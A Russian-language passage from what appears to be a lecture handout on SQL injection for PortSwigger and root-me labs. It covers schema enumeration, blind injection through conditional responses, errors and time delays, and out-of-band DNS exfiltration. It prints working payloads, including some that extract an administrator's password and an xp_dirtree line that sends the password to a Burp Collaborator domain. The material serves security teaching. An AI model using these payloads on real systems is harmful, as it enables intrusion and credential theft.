Не самый практичный вариант, не правда ли? Поэтому при эксплуатации уязвимостей SQL-инъекций часто необходимо собрать некоторую информацию о самой базе данных. Это включает в себя тип и версию программного обеспечения базы данных(чтобы знать с каким синтаксисом вы имеете дело), а также содержимое базы данных с точки зрения содержащихся в ней таблиц и столбцов, иначе будете гадать на кофейной гуще.
Так что предлагаю изучить методы "Исследования базы данных"!
## Определение типа и версии бд
:::success
**Лабораторные**:
1) https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-oracle)
2) https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-mysql-microsoft)
:::
Разные базы данных предоставляют разные способы запроса своей версии. Поэтому приходится пробовать разные запросы, чтобы найти работающий, позволяющий определить как тип, так и версию программного обеспечения базы данных.
Запросы для определения версии базы данных для некоторых популярных типов баз данных следующие(используем всю ту же шпаргалку):

Используя свои знания по UNION-атаке + эту шпаргалку можем попытаться определить версию бд, отправив что-то типа такого:
`Gifts' UNION SELECT @@version--`
И получить инфу по бд
```
Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
Mar 18 2018 09:11:49
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)
```
Причём не забываем как строится запрос в SQL. Давайте посмотрим как это будет выглядеть в том же Oracle:
`Gifts' UNION SELECT NULL,banner FROM v$version;`
## Список содержимого бд, включая особенности некоторых бд
:::success
Лабораторные:
1) https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-non-oracle
2) https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-oracle
:::
После того как мы узнали что у нас за СУБД используется, и какой синтаксис нам использовать(или если проще, на какие строчки в шпаргалке нам смотреть), нам нужно узнать, а какие вообще таблицы есть в бд, и какие у них столбцы. Большинство типов баз данных (за заметным исключением Oracle) имеют набор представлений, называемых информационной схемой, которые предоставляют информацию о базе данных(те самые столбцы и таблицы).
Пока обойдем Oracle стороной для удобства. Так вот, есть такая штучка, как information_schema.tables, она выводит нам список таблиц в бд:

Как мы видим, это тоже таблица, и столбец с таблицами имеет имя table_name - запоминаем!
Теперь, мы видим, что у нас есть таблица Users. Давайте же узнаем, а какие столбцы она имеет, тут нам поможет information_schema.columns. И сделав примерно такой SQL-запрос:
`SELECT * FROM information_schema.columns WHERE table_name = 'Users'`
Мы получим все столбцы только таблицы Users(table_name = 'Users'):

Но вообще мы можем сделать всё проще, не выводя лишнюю информацию. Тут, как вы видите, столбцов 5... и не факт, что в UNION у вас тоже будет 5 столбцов, поэтому мы можем запросить конкретно только название таблиц, а потом только названия столбцов конкретной таблицы:
```
' UNION SELECT table_name,NULL FROM information_schema.tables-- #Выводим в 1 столбец ТОЛЬКО названия всех таблиц в бд
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users_abcdef'-- #Выводим в 1 столбец ТОЛЬКО названия всех столбцов определённой таблицы в бд
```
Но на этом мы не заканчиваем, так как вспоминаем про "особенную" бд - Oracle. У есть такая же схемка, но она по-другому называется:
```
SELECT * FROM all_tables; #получить список таблиц
SELECT * FROM all_tab_columns WHERE table_name = 'USERS'; #перечислить столбцы таблицы USERS
```
---
# Слепая SQl Инъекция
## Что это такое и как с этим справляться?
:::warning
**Слепая SQL-инъекция** возникает, когда приложение уязвимо для SQL-инъекции, но его HTTP-ответы не содержат результатов соответствующего SQL-запроса или сведений об ошибках базы данных.
С уязвимостями слепых SQL-инъекций многие методы, такие как UNION-атаки, неэффективны, поскольку они полагаются на возможность увидеть результаты внедренного запроса в ответах приложения. По-прежнему можно использовать слепую SQL-инъекцию для доступа к несанкционированным данным, но необходимо использовать другие методы, чтобы увидеть хоть какой-нибудь результат, те же пароли пользователей.
:::
Вообщем "слепой" бывает не только SQL. Многие уязвимости могут быть такими, это впринципе означает, что вы не видите результата эксплуатации уязвимости/атаки. То есть уязвимость есть, и вы её можете использовать, но никакой обратной отдачи вы не получите. Так же и тут, теперь вы не получите все данные из бд просто, так как сайт максимально пытается скрыть, что у неё есть эта проблема. Но всё равно, используя различные методы, мы можем получить доступ к интересным данным, давайте же их изучим!
## Сonditional responses (условные ответы)
:::success
**Лабораторная**:
https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses
:::
Рассмотрим приложение, которое использует отслеживающие cookie для сбора аналитики, чтобы продать вас компании "Чудо" за шоколадное молоко. Все HTTP-запросы к приложению пусть включают такой заголовок cookie:
`Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4`
Когда обрабатывается ваш запрос, который содержит TrackingId в cookie, приложение определяет, являетесь ли вы известным пользователем, используя SQL-запрос, подобный этому:
`SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'`
Этот запрос уязвим для внедрения SQL, но результаты запроса не возвращаются вам на экран, поэтому данная SQL-инъекция слепая. Однако приложение ведет себя по-разному в зависимости от того, возвращает ли запрос какие-либо данные(напоминаю, если в бд есть хоть какие-либо записи по вашеу запросу, то он их вернёт серверу, а если их нет, то и сервер соответственно ничего не получит). Если он возвращает данные (поскольку TrackingId было отправлено такое, что оно есть в бд), то на странице отображается сообщение «Добро пожаловать обратно».
Этого достаточно, чтобы иметь возможность использовать уязвимость blind SQLi и извлекать информацию, вызывая различные ответы условно, в зависимости от введенного условия. Чтобы увидеть, как это работает, предположим, что по очереди отправляются два запроса, содержащие следующие значения TrackingId в cookie(читайте комментарий полностью):
```
…xyz' AND '1'='1 #запрос вернет результаты, поскольку и TrackingId валидный и внедренное AND '1'='1 условие - истинно, и поскольку всё истино, то будет отображаться сообщение «Добро пожаловать обратно»
…xyz' AND '1'='2 #второе значение приведет к тому, что запрос не вернет никаких результатов, поскольку второе условие является ложным, и поэтому сообщение «Добро пожаловать обратно» не будет отображаться
```
Вместо этого 1=1 условия мы можем поставить какое угодно другое условие, допустим, что первая буква пароля админа - ф и тд. Например, предположим, что есть таблица с именем Users со столбцами Username и Password, и пользователь с именем Administrator. Мы можем систематически определять пароль для админа, отправляя серию входных данных для проверки пароля по одному символу за раз. Тут нам поможет функция SUBSTRING() или SUBSTR() для некоторых бд.
:::info
SUBSTRING() - функция, извлекающая определённые символы из строки. Также тут может быть SQL-запрос, который даст какую-нибудь строку, например, пароль полььзователя.
SUBSTRING(string, start, length)
String - Строка, из которой надо извлечь данные.
Start - С какого символа начать извлечение.
Length - Количество символов, которое надо извлечь.
SUBSTRING('admin',1,1)='a'
SUBSTRING('admin',2,1)='d'
:::
Для этого начнем со следующего ввода:
`xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm`
Пусть это возвращает сообщение «Добро пожаловать обратно», указывающее, что внедренное условие истинно, и поэтому первый символ пароля больше, чем m.
`xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't`
Пусть это не возвращает сообщение «Добро пожаловать обратно», указывающее, что введенное условие ложно, и поэтому первый символ пароля не больше, чем t.
В конце концов, мы отправляем следующий ввод, который возвращает сообщение «Добро пожаловать обратно», тем самым подтверждая, что первый символ пароля s:
`xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's`
Ну и дальше меняем 2 параметр функции SUBSTRING с 1 на 2 и брутаем 2ой символ пароля админа! Тут нам поможет тот же Intruder в Burp Suite.
:::warning
**Кстати,** В решении этой лабы показывают слегка другой метод, по сути он тот же, но SQL-запрос такой:
`TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a`
Я объяснял так:
`TrackingId=xyz' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 1, 1) = 'a`
Впринципе, запросы можно писать гибко на SQL, о чём ПОРТСВИГГЕР не особо хочет говорить, поэтому ты сначала читаешь материал с одним методом, а в решении видишь другой, и думаешь, что что-то не понял...
Это нормально, вас просто приучают к другим методам, но лабу можно решить и по-другому!
:::
## SQL errors (вызов ошибок SQL)
:::success
**Лабораторная**:
https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors
:::
Тут нам может понадобиться шпаргалка:

В предыдущем примере предположим, что приложение выполняет один и тот же SQL-запрос, но ведет себя одинаково в зависимости от того, возвращает ли запрос какие-либо данные. Предыдущий метод не будет работать, потому что введение различных логических условий не влияет на ответы приложения.
В этой ситуации всё равно можно эксплуатировать SQli, вызывая ошибки SQL, в зависимости от введенного условия. То есть, изменение запроса таким образом, чтобы он вызывал ошибку базы данных, если условие истинно, но не если условие ложно. И когда эта ошибка появится, то либо она отобразится на сайте, либо ответ от сервера придёт позже/раньше обычного и тд. Тут нам поможет ключевое слово CASE/IF(if в MySQL):
:::info
**Выражение CASE/IF(if в MySQL)** - условный оператор языка SQL. Данный оператор позволяет осуществить проверку условий и возвратить в зависимости от выполнения того или иного условия тот или иной результат. В качестве значений здесь могут выступать и выражения. Или если проще, это аналог if, как в ЯП:
```
if 1=1:
return True
else:
return False
```
Только тут синтаксис немного другой(для удобства чтения я потыкал несколько раз на Tab):
```
SELECT CASE
WHEN (1=1)
THEN
'1'
ELSE
'0'
END
```

:::
Чтобы увидеть, как это работает, предположим, что по очереди отправляются два запроса, содержащие следующие значения TrackingId в cookie:
```
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a #Условие не истино, не вызывает никакой ошибки.
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a #Условие истино, делится на 0 -> ошибка
```
Предполагая, что ошибка вызывает некоторую разницу в HTTP-ответе приложения, мы можем использовать эту разницу, чтобы сделать вывод, верно ли введенное условие. Используя эту технику, мы можем получать данные уже ранее описанным способом, систематически проверяя один символ за раз:
`xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) = 'm') THEN 1/0 ELSE 'a' END FROM Users)='a`
И если первая буква пароля админа = m, то получится ошибка, и мы поймём, что вот она первая буква и перейдём к следующей. Если это не она, то после запроса возьмётся 'a' и сравниться с другой 'a'(и нет я не опечатался по поводу второй кавычки, она даже сверху существует, подумайте почему) -> условие истино, никакой ошибки больше нет.
:::warning
В решении лабы используется слегка другой метод, с подзапросами через знак конкатенации:
`TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,2,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'`
:::
## Time delays (вызов задержек во времени)
:::success
Лабораторные:
1) https://portswigger.net/web-security/sql-injection/blind/lab-time-delays
2) https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval
:::
А что делать, если ни различий в ответах нет, ни ошибка никак не сказывается на ответе, так как она хорошо обрабатывается?
В этой ситуации часто можно использовать уязвимость слепой SQLi, вызывая временные задержки, в зависимости от введенного условия. Поскольку SQL-запросы обычно обрабатываются приложением синхронно, задержка выполнения SQL-запроса также приведет к задержке ответа HTTP. Это позволяет сделать вывод об истинности внедренного условия на основе времени, затраченного до получения ответа HTTP. Для проведения данного трюка нам понадобиться ... а вообще для каждого бд данная команда называется по-разному, вот шпаргака:

:::info
pg_sleep/sleep, WAITFOR DELAY... - функция для задержки выполнения на заданное количество секунд.
:::
В Microsoft SQL Server ввод, подобный следующему, может использоваться для проверки условия и запуска задержки в зависимости от того, истинно ли выражение:
```
'; IF (1=2) WAITFOR DELAY '0:0:10'-- #Выражение не истино - задержки в 10 сек нет
'; IF (1=1) WAITFOR DELAY '0:0:10'-- #Выражение истино - задержка в 10 сек
```
Ну и дальше с помощью задержек можем опять вытаскивать по буковке пароля админа:
`'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--`
Вот шпаргалка на этот случай:

Также, обратите внимение, что лабы можно решить как и используя подзапросы:
`TrackingId=x'||pg_sleep(10)--`
Так и батчинг:
`TrackingId=x';+SELECT+pg_sleep(10)--`
:::info
Batching-атаки/запросы - это метод, при котором в 1 HTTP-запросе мы можем отправить несколько запросов SQL, GraphQL и тд.
Он имеет в SQL свои ограничения, о которых можно почитать в шпаргалке, поэтому частенько просто используют подзапросы.

:::
Смысл тут в том, что нам не надо писать AND... OR... Этот запрос на задержку времени - отдельный запрос, не связанный с предыдущим, поэтому мы должны либо создать подзапрос вставив после ковычки `||`, либо закрыть уже текущий знаком вставив вначале`;`, и оба заканчиваются `знак комментария`.
## out-of-band/OAST (вызов внеполосных методов)
:::success
**Лабораторные**:
1) https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band
2) https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band-data-exfiltration
:::
:::warning
Out-of-band application security testing (OAST) - это метод поиска уязвимостей в веб-приложении, которые можно использовать, путем принуждения сервера сделать какой-либо запрос на инфраструктуру, контролируемой тестировщиком. Грубо говоря, мы заставляем сервак делать те же HTTP-запросы на BURP Collaborator через какую-либо уязвимость(особенно если она слепая, и единственное, что нам осталось, это вызвать через неё внешнее взаимодействие), после чего мы видим прилетающие запросы на тот же Collaborator и понимаем, что уязвимость существует и её можно эксплуатировать.
:::
Теперь предположим, что приложение выполняет тот же SQL-запрос, но делает это асинхронно. Приложение продолжает обрабатывать запрос пользователя в исходном потоке и использует другой поток для выполнения запроса SQL с использованием cookie. Запрос по-прежнему уязвим для SQL-инъекций, однако ни один из описанных методов не сработает: ответ приложения не зависит от того, возвращает ли запрос какие-либо данные, возникает ли ошибка базы данных или время, затраченное на выполнение запроса.
В этой ситуации всё равно есть выход, ведь можно использовать уязвимость слепой SQLi, запуская внеполосные сетевые взаимодействия с системой, которую вы контролируете(OAST). Как и ранее, они могут запускаться через SQL-запросы, чтобы выводить информацию по одному биту за раз. Но что еще более важно, данные могут быть получены сразу все, без перебирания буковок!
Для этой цели можно использовать различные сетевые протоколы, но, как правило, наиболее эффективным является DNS (служба доменных имен). Это связано с тем, что очень многие производственные сети допускают свободный выход DNS-запросов из локальной сети, поскольку они необходимы для нормальной работы.
Для выполнения OAST можно использовать Burp Collaborator. О нём я рассказывал на своей лекции, [ВОТ](https://hackmd.io/gWxim3FeRmqsCddFv-f69w?view#Collaborator) ссылка, перечитате!
И так, методы запуска DNS-запроса сильно зависят от типа используемой базы данных. вот шпаргалочка:

В Microsoft SQL Server ввод, подобный следующему, может использоваться для поиска DNS в указанном домене:
`'; exec master..xp_dirtree '//COLLABORATORSUBDOMAIN.burpcollaborator.net/a'--`
Это заставит базу данных выполнить поиск следующего домена:
`COLLABORATORSUBDOMAIN.burpcollaborator.net`
Как получить этот ваш COLLABORATORSUBDOMAIN.burpcollaborator.net?
1. Зайти в Burp

2. Зайти в раздел Collaborator

3. Нажать на 'Copy to clipboard'
cbrom35s1vspgwf75h6fe990mrsig84x.oastify.com
4. CTRL + V туда, где это нужно вставить вместо COLLABORATORSUBDOMAIN.burpcollaborator.net

Такс, вернёмся к теме, вот вы заставили бд сделать DNS и HTTP-запросы, а что дальше? Делать опять эти дурацкие условия с буквами????
Неа, всё намного проще =)
Подтвердив способ инициирования внеполосных взаимодействий, можно использовать внеполосный канал для получения данных из уязвимого приложения. Например:
`'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.COLLABORATORSUBDOMAIN.burpcollaborator.net/a"')--`
Этот ввод считывает пароль Administrator'a, добавляет уникальный поддомен Collaborator и запускает поиск DNS. Это приведет к поиску DNS, подобному следующему, что позволит просмотреть захваченный пароль:
`ПАРОЛЬ ДО ТОЧКИ->S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net`
Лабы если что решали через UNION-атаки!
`' UNION SELECT...`
---
# SQL-инъекция в разных контекстах
Как вы увидели ранее в слепых скулях, SQLi может быть везде - в куках, в явных параметрах и тд. Можно также внедрить SQLi и в JSON или XML:
```
<stockCheck>
<productId>
123
</productId>
<storeId>
999 SELECT * FROM information_schema.tables
</storeId>
</stockCheck>
```
А самый "лучший способ" определить скулю это тыкать везде кавычкм `'`. Нет, это не шутка, из-за того, что ваш запрос начинает выглядить как-то так:
`SELECT * FROM users WHERE username='somedobro''`
Это вызывает ошибку, поэтому не забывайте тыкать раз в какое-то время кавычки, может вам повезёт встретить скулю на совершенно неожиданном месте, по своему опыту могу сказать, что она вас может поджидать там, где вы и не думали её встретить:)
---
# SQL-инъекция второго порядка
Ну и в конце быстренько упомяну SQLi второго порядка.

:::warning
SQL-инъекция первого порядка возникает, когда приложение получает пользовательский ввод из HTTP-запроса и в ходе обработки этого запроса включает ввод в SQL-запрос небезопасным способом.
В SQL-инъекциях второго порядка (также называемых хранимыми SQL-инъекциями) приложение получает пользовательский ввод из HTTP-запроса и сохраняет его для будущего использования. Обычно это делается путем помещения входных данных в базу данных, но в месте хранения данных уязвимости не возникает. Позже, при обработке другого HTTP-запроса, приложение извлекает сохраненные данные и включает их в SQL-запрос небезопасным способом. Из-за чего возникает уязвимость!
:::
SQL-инъекция второго порядка часто возникает в ситуациях, когда разработчики знают об уязвимостях SQL-инъекций и поэтому безопасно обрабатывают начальное размещение входных данных в базе данных. Когда данные впоследствии обрабатываются, они считаются безопасными, поскольку ранее они были безопасно помещены в базу данных. На этом этапе данные обрабатываются небезопасным образом, поскольку разработчик ошибочно считает, что им можно доверять. И тут он жёстко ошибается..
В реальности не видел такого, как и мои коллеги, говорящие, что такое можно встретить только на стф, но всё равно следите, чтобы такого не было!
---
# Домашка(по желанию)
Это был сложный и большой топик, все, кто дочитал - молодцы!
Предлагаю вам сделать небольшое дз, чтобы закрепить полученные знания:
1) Прорешать по 2 лабы из каждого раздела(если в разделе 1 лаба, то значит 1:) )
2) Прорешать [ЭТОТ](https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-authentication), [ЭТОТ](https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-String?q=%2Fen%2FChallenges%2FWeb-Server%2FSQL-injection-string) и [ЭТОТ](https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-blind) таск с рутми!
Ну, пожалуй, на этом всё, спасибо ещё раз за то, что прочитали данный топик!
